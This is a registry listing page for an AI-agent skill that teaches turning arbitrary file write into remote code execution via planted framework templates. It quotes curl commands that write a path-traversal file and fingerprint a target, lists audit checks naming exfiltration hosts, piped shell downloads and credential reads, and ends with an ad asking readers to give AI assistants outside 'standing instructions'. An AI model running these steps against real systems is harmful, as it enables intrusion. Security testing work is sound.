write-path-to-rce SKILL.md skillA
write-path-to-rce from dreadnode/capabilities is an agent skill: a SKILL.md folder an AI agent loads when a task calls for it.
mdr add dreadnode/capabilities/write-path-to-rce@git:20260529.0ab6ab0Pins git:20260529.0ab6ab0 in mdr.lock. Pin the fingerprint instead.
- Audit grade
- A, 17 of 17 checks passed
- Kind
- SKILL.md skill
- Repository
- dreadnode/capabilities
- Path
capabilities/web-security/skills/write-path-to-rce/SKILL.md- Versions recorded
- 3
- Latest version
- git:20260529.0ab6ab0, committed May 29, 2026
- First version recorded
- May 4, 2026
- Size
- 4,438 bytes
- Repository stars
- 22
- License
- MIT
Escalate arbitrary file write into code execution -- plant malicious Jinja2/EJS/Razor/Blade templates, overwrite framework view files, inject auto-loaded helpers. Covers Django, Flask, Express, Rails, Laravel, ASP.NET MVC. Use when you have arbitrary write (path traversal, upload) but cannot execute script extensions directly, and the framework auto-loads templates or code from predictable search paths.
Collected from public GitHub. Every version is saved exactly as it was and never changes. Install it at an exact version with the mdr tool, and every file is checked before it reaches your agent. The main file is checked against the SHA-256 fingerprint recorded here, and the others against the fingerprints GitHub keeps for its source commit. The automatic checks below grade the latest version, and the same checks always give the same file the same grade.
What the file says
# Arbitrary File Write -> RCE via View Engine Resolution ## Pattern - You have arbitrary file write (path traversal, upload, report generation) - The web server blocks direct requests to executable extensions - The framework still resolves, compiles, or loads files internally from the filesystem HTTP-layer request filtering and filesystem-level template lookup are different control planes. A framework can execute a written file through internal resolution even when direct URL access is blocked. ## Workflow ### 1. Confirm arbitrary write ```bash # Write a canary file to a known location curl -x localhost:8080 -k "https://target.com/upload" \ -F "file=@canary.txt;filename=../../../tmp/canary.txt" # Verify write curl -x localhost:8080 -k "https://target.com/tmp/canary.txt" ``` **Checkpoint:** If canary file is not written, the write primitive is not confirmed. Stop here. ### 2. Identify framework and map resolution paths ```bash # Check response headers for framework hints curl -x localhost:8080 -k -sD- "https://target.com/" | rg -i "x-powered-by|server|x-aspnet" # Trigger a 404 to see error page (often reveals framework + view paths) …
Read the whole file at its exact version.
How to install
mdr add dreadnode/capabilities/write-path-to-rce@sha256:c3b6564d187bbad6The line at the top of this page pins the label git:20260529.0ab6ab0, which is what most people want. This one pins the sha256 fingerprint of the contents instead, so it survives a label being moved. Either way the exact version is written to mdr.lock, and mdr install downloads and checks those contents again, so it installs them exactly or stops with an error.
[](https://markdownregistry.com/a/art_u5e7u6ks7nacf4h7)
3 badge image fetches in 30 days. What the badge shows.
Versions
The registry has recorded 3 versions of this file, between May 4, 2026 and May 29, 2026, about one every 13 days.
| version | committed | commit | size | audit | |
|---|---|---|---|---|---|
| git:20260529.0ab6ab0 latest | 2026-05-29 | 0ab6ab0 | 4,438 B | A | view · diff |
| git:20260529.8f6ea0e | 2026-05-29 | 8f6ea0e | 4,285 B | A | view · diff |
| git:20260504.2a64374 | 2026-05-04 | 2a64374 | 2,719 B | A | view |
Audit of the latest version
- pass: Frontmatter block present
- pass: Frontmatter declares a name
- pass: Frontmatter declares a description
- pass: Size between 200 bytes and 200 KB (4438 bytes)
- pass: No zero-width or bidi control characters
- pass: No instruction hidden inside an HTML comment
- pass: No link to an exfiltration or paste host
- pass: No credential-shaped string
- pass: No instruction to send local credentials anywhere
- pass: No text hidden with inline styles
- pass: No prompt-injection phrasing
- pass: No curl or wget piped into a shell
- pass: No recursive delete of root, home or parent
- pass: No instruction to read or print local credentials
- pass: No base64 blob over 200 characters
- pass: No link to a raw IP address
- pass: No script tag
Source
dreadnode/capabilities · 22 stars · license MIT · pushed 2026-11-02 · branch main
API
GET https://markdownregistry.com/api/v1/artifacts/art_u5e7u6ks7nacf4h7 GET https://markdownregistry.com/api/v1/resolve?ref=dreadnode/capabilities/write-path-to-rce GET https://markdownregistry.com/api/v1/blob/c3b6564d187bbad673a208c313b5077e579ec0c52f5543864af172e3b72c2582
Your AI assistant does the legwork. You hear about the deals worth your word. Hand yours the standing instructions at modelranch.com and it joins the network that reads files like this one.
Guides: the SKILL.md format and its required fields · what to check before you install a skill · how to pin a skill to an exact version · where to find agent skills · keeping a team on the same skills · which agent file does what.